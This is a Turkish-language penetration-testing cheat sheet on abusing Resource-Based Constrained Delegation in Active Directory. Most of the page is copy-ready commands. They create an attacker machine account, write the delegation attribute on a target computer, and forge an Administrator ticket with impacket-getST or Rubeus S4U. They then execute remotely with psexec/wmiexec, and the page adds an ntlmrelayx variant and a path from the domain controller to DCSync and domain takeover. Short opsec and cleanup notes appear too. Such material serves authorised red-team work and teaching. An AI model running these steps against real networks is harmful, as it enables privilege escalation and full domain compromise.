Skip to content

Resource-Based Constrained Delegation (RBCD)

ATT&CK T1558.003 difficulty: orta

RBCD, bir hedef bilgisayar nesnesinin msDS-AllowedToActOnBehalfOfOtherIdentity özniteliğine yazma yetkiniz olduğunda kötüye kullanılır. Kendi kontrolünüzdeki bir (makine) hesabını hedefe “onun adına delege edebilir” olarak ayarlar, ardından S4U2Self + S4U2Proxy ile hedefte istediğiniz kullanıcı (ör. Administrator) adına servis bileti alırsınız.

Klasik constrained delegation’ın tersine: hak kaynak (target computer) üzerindedir, servis hesabında msDS-AllowedToDelegateTo gerekmez.

  • Hedef bilgisayar üzerinde yazma: GenericAll / GenericWrite / WriteProperty (özellikle msDS-AllowedToActOnBehalfOfOtherIdentity ) / WriteDacl → self-grant.
  • Kontrol ettiğiniz SPN’li hesap (genelde yeni machine account).
  • ms-DS-MachineAccountQuota ≥ 1 (varsayılan 10) — veya mevcut SPN’li hesap.

BloodHound: GenericWrite/GenericAll/WriteOwner → Computer, AllowedToAct, AddAllowedToAct.

Terminal window
nxc ldap DC -u user -p 'Pass' -M maq

RBCD · getST S4U

embedded tool
Generated command
impacket-getST -spn cifs/target.domain.local -impersonate Administrator domain.local/EVIL:Pass123
  1. Kontrol edilen makine hesabı oluştur :

    Terminal window
    impacket-addcomputer domain.local/user:'Pass123' \
    -computer-name 'EVIL$' -computer-pass 'EvilPass123!' \
    -dc-ip 10.10.10.5 -dc-host dc01.domain.local
    Terminal window
    bloodyAD -u user -p 'Pass123' -d domain.local --host DC \
    add computer EVIL 'EvilPass123!'
  2. RBCD’yi ayarla — hedef attribute’a EVIL$ security descriptor yaz:

    Terminal window
    impacket-rbcd domain.local/user:'Pass123' -delegate-from 'EVIL$' \
    -delegate-to 'TARGET$' -action write -dc-ip 10.10.10.5
    Terminal window
    impacket-rbcd domain.local/user:'Pass123' -delegate-to 'TARGET$' \
    -action read -dc-ip 10.10.10.5
    Terminal window
    impacket-rbcd domain.local/user:'Pass123' -delegate-from 'EVIL$' \
    -delegate-to 'TARGET$' -action remove -dc-ip 10.10.10.5
    Terminal window
  3. S4U ile bilet al :

    Terminal window
    impacket-getST -spn cifs/target.domain.local \
    -impersonate Administrator \
    'domain.local/EVIL$:EvilPass123!' -dc-ip 10.10.10.5
    Terminal window
    Rubeus.exe s4u /user:EVIL$ /rc4:<EVIL_NT_HASH> \
    /impersonateuser:Administrator \
    /msdsspn:cifs/target.domain.local /ptt
  4. Kullan :

    Terminal window
    export KRB5CCNAME=Administrator.ccache
    Terminal window
    impacket-psexec -k -no-pass domain.local/Administrator@target.domain.local
    Terminal window
    impacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.local

Signing kapalı DC LDAP’ına relay + –delegate-access:

Terminal window
impacket-ntlmrelayx -t ldap://dc01.domain.local --delegate-access --escalate-user EVIL$

Sonra aynı getST adımı. Bkz. Coercion.

Aynı GenericWrite ile sıkça Shadow Credentials daha kısa yol olabilir (PKINIT → NT hash). RBCD, shadow’un çalışmadığı (DF seviyesi / PKINIT yok) yerlerde devreye girer.

  • EVIL$ oluşturma + RBCD write = iki LDAP değişikliği; iş bitince rbcd remove + bilgisayarı disable/delete (kurala göre).
  • getST S4U 4769 log’u.
  • Rastgele bilgisayar adı ( EVIL$ ) yerine ortama uyan isim (opsec).
  • Target DC$ üzerinde RBCD = doğrudan domain takeover — stop condition.
  • MachineAccountQuota=0 ve SPN’siz user ile RBCD → S4U fail; mevcut computer hesabı credential’ı kullan.
  • Impersonate Administrator Protected Users / sensitive → başka admin dene.
  • FQDN SPN yanlış ( target vs target.domain.local ).
  • Attribute’a yazma var sanıp aslında sadece WriteAccountRestrictions vb. kısıtlı property set — BloodHound kenarını doğrula.
  • Clock skew.
BloodHound GenericWrite → Computer TARGET$
→ MachineAccountQuota ile EVIL$ oluştur
→ rbcd.py write EVIL$ → TARGET$
→ getST -spn cifs/TARGET -impersonate Administrator
→ export KRB5CCNAME → wmiexec/smbclient -k
GenericWrite on DC$ → RBCD → impersonate DA → DCSync
Terminal window
impacket-addcomputer domain.local/user:'Pass' -computer-name EVIL \
-computer-pass 'EvilPass123!' -dc-ip DC
Terminal window
rbcd.py domain.local/user:'Pass' -delegate-from EVIL$ -delegate-to TARGET$ \
-dc-ip DC -action write
Terminal window
impacket-getST -spn cifs/target.domain.local -impersonate Administrator \
-dc-ip DC domain.local/EVIL$:'EvilPass123!'
Terminal window
export KRB5CCNAME=Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache
Terminal window
impacket-wmiexec -k -no-pass domain.local/Administrator@target.domain.local

Shadow Credentials · ACL Abuse · Pass-the-Ticket · Delegation